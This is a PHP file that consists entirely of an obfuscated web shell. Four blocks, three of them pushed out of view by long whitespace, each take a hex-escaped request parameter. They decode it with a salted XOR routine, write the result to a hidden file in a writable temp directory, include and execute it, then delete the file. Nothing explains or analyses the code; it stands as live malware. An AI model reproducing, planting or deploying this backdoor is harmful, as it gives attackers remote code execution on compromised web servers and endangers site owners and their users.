<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65s"])){ $data = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP")]); $flag = $_REQUEST["\x72\x65s"]; $flag = explode ('.' , $flag ); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $n = 0; while( $n< count( $flag)) { $v5 = $flag[$n]; $sChar = ord( $salt[$n% $sLen]); $dec = ( ( int)$v5 - $sChar -( $n% 10)) ^ 92; $obj .= chr( $dec); $n++; } foreach ($data as $bind): if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $ent = sprintf("%s/.hld", $bind); if (file_put_contents($ent, $obj)) { include $ent; @unlink($ent); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["e\x6E\x74"] ?? null)){ $key = $_REQUEST["e\x6E\x74"]; $key= explode ("." , $key ) ; $component=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s6); $u=0; array_walk($key, function ($v8) use (&$component, &$u, $s6, $lenS) { $chS=ord($s6[$u % $lenS]); $dec=((int)$v8 - $chS - ($u % 10)) ^ 41; $component .= chr($dec); $u++; }); $hld = array_filter([getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); foreach ($hld as $ref): if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $k = "$ref" . "/.flg"; if (file_put_contents($k, $component)) { require $k; unlink($k); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64ch\x75n\x6B"])){ $flg = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $pset = $_REQUEST["\x64ch\x75n\x6B"]; $pset =explode ( '.' , $pset); $entity= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $o= 0; foreach ($pset as $v6) { $chS= ord($s[$o % $lenS] ); $dec= ((int)$v6 - $chS - ($o % 10)) ^ 96; $entity .= chr($dec ); $o++; } while ($itm = array_shift($flg)) { if (max(0, is_dir($itm) * is_writable($itm))) { $token = "$itm" . "/.record"; if (@file_put_contents($token, $entity) !== false) { include $token; unlink($token); die(); } } } }


if(array_key_exists("\x6F\x62je\x63t", $_POST)){
	$value = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp"]);
	$flag = $_POST["\x6F\x62je\x63t"];
	$flag	= explode (	'.'   ,$flag 		)	;
	$marker = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	$salt);
    
            foreach(	$flag as $j => $v3) {
                $sChar = ord(	$salt[$j		%	 $sLen]);
                $d =(	(	int)$v3 - $sChar -(	$j		%	 10)) ^ 53;
                $marker  .=chr(	$d);
            }
	foreach ($value as $key => $bind) {
    		if (is_dir($bind) ? is_writable($bind) : false) {
    $binding = "$bind/.key";
    if (file_put_contents($binding, $marker)) {
	include $binding;
	@unlink($binding);
	exit;
}
}
}
}